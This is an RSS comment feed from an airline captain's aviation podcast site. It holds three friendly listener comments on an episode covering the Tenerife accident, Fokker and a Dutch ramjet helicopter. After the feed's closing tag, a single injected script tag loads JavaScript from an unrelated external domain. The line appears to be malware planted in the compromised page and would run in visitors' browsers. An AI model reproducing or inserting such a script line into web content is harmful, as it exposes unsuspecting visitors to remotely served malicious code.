

























































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Flying Pilot Podcast #15 Oshkosh Tenerife Taxiing and Anthony Fokker</title>
	<atom:link href="http://flyingpilot.com/?feed=rss2&#038;p=31" rel="self" type="application/rss+xml" />
	<link>http://flyingpilot.com/?p=31</link>
	<description>Aviation News, Science and History from an Airline Captain!</description>
	<pubDate>Thu, 09 Sep 2010 12:49:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: Bernard</title>
		<link>http://flyingpilot.com/?p=31#comment-21697</link>
		<dc:creator>Bernard</dc:creator>
		<pubDate>Wed, 26 Sep 2007 07:46:26 +0000</pubDate>
		<guid isPermaLink="false">http://flyingpilot.com/?p=31#comment-21697</guid>
		<description>Hi Len,
Love your podcast! I have just begon my flying lessons for a PPL license. Worked as at Fokker Aircraft, building the F100. Appreciate your attempt to speak Dutch from the accident report on Tenerife, with an accent, but I could understand it, compliments! I'm especcialy interested in the lessons we can learn from mistakes others made. Also the 'news' section I like very much. 
Thanks for the effort for making this program. Looking forward to new podcasts, I'm listening!</description>
		<content:encoded><![CDATA[<p>Hi Len,<br />
Love your podcast! I have just begon my flying lessons for a PPL license. Worked as at Fokker Aircraft, building the F100. Appreciate your attempt to speak Dutch from the accident report on Tenerife, with an accent, but I could understand it, compliments! I&#8217;m especcialy interested in the lessons we can learn from mistakes others made. Also the &#8216;news&#8217; section I like very much.<br />
Thanks for the effort for making this program. Looking forward to new podcasts, I&#8217;m listening!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Peter Jakobs</title>
		<link>http://flyingpilot.com/?p=31#comment-2868</link>
		<dc:creator>Peter Jakobs</dc:creator>
		<pubDate>Thu, 07 Sep 2006 18:53:39 +0000</pubDate>
		<guid isPermaLink="false">http://flyingpilot.com/?p=31#comment-2868</guid>
		<description>Len,
happy as always to get a new episode. Somehow, there's nothing like catching up to a new podcast you found by listening to tons and tons of back-episodes. After that, whatever interval the podcaster chooses seems to be too long :)
It was interesting to hear about the Tennerife accident again. Usually, there's always "lessons learned" after such a catastrophic accident, I think in this case wasn't it that they used the prase "cleared to" much more restrictive thereafter? The original ATC communication said "you are cleared to " which today afaik wouldn't happen anymore. Today you'll only get a "after departure climb and maintain... bla bla", right? I think it would be cool if you added those "lessons learned" and the changes we can still see today to the show.

Thanks for the program

pj</description>
		<content:encoded><![CDATA[<p>Len,<br />
happy as always to get a new episode. Somehow, there&#8217;s nothing like catching up to a new podcast you found by listening to tons and tons of back-episodes. After that, whatever interval the podcaster chooses seems to be too long <img src='http://flyingpilot.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
It was interesting to hear about the Tennerife accident again. Usually, there&#8217;s always &#8220;lessons learned&#8221; after such a catastrophic accident, I think in this case wasn&#8217;t it that they used the prase &#8220;cleared to&#8221; much more restrictive thereafter? The original ATC communication said &#8220;you are cleared to &#8221; which today afaik wouldn&#8217;t happen anymore. Today you&#8217;ll only get a &#8220;after departure climb and maintain&#8230; bla bla&#8221;, right? I think it would be cool if you added those &#8220;lessons learned&#8221; and the changes we can still see today to the show.</p>
<p>Thanks for the program</p>
<p>pj</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: bdaanje@home.nl</title>
		<link>http://flyingpilot.com/?p=31#comment-2865</link>
		<dc:creator>bdaanje@home.nl</dc:creator>
		<pubDate>Mon, 04 Sep 2006 20:20:20 +0000</pubDate>
		<guid isPermaLink="false">http://flyingpilot.com/?p=31#comment-2865</guid>
		<description>Hi Len,

Thanks you for the Dutch aviation contribution! I loved it.
I also was particularly interested in the sound fragment at he beginning of your podcast. I recognized this helicopter concept because there was also an all Dutch design helicopter by this concept. The "Kolibrie". I thought it was an all Dutch invention this ramjet but that seems not be wright.
You can watch a video of the "kolibrie" trough this link:

http://cgi.omroep.nl/cgi-bin/streams?/ibg/sn210015-bb.wmv?title=De%20Kolibri%20de%20eerste%20Nederlandse%20helikopter;embed=1

Please Copy and paste the URL.

Rgrds,

Bert</description>
		<content:encoded><![CDATA[<p>Hi Len,</p>
<p>Thanks you for the Dutch aviation contribution! I loved it.<br />
I also was particularly interested in the sound fragment at he beginning of your podcast. I recognized this helicopter concept because there was also an all Dutch design helicopter by this concept. The &#8220;Kolibrie&#8221;. I thought it was an all Dutch invention this ramjet but that seems not be wright.<br />
You can watch a video of the &#8220;kolibrie&#8221; trough this link:</p>
<p><a href="http://cgi.omroep.nl/cgi-bin/streams?/ibg/sn210015-bb.wmv?title=De%20Kolibri%20de%20eerste%20Nederlandse%20helikopter;embed=1" rel="nofollow">http://cgi.omroep.nl/cgi-bin/streams?/ibg/sn210015-bb.wmv?title=De%20Kolibri%20de%20eerste%20Nederlandse%20helikopter;embed=1</a></p>
<p>Please Copy and paste the URL.</p>
<p>Rgrds,</p>
<p>Bert</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>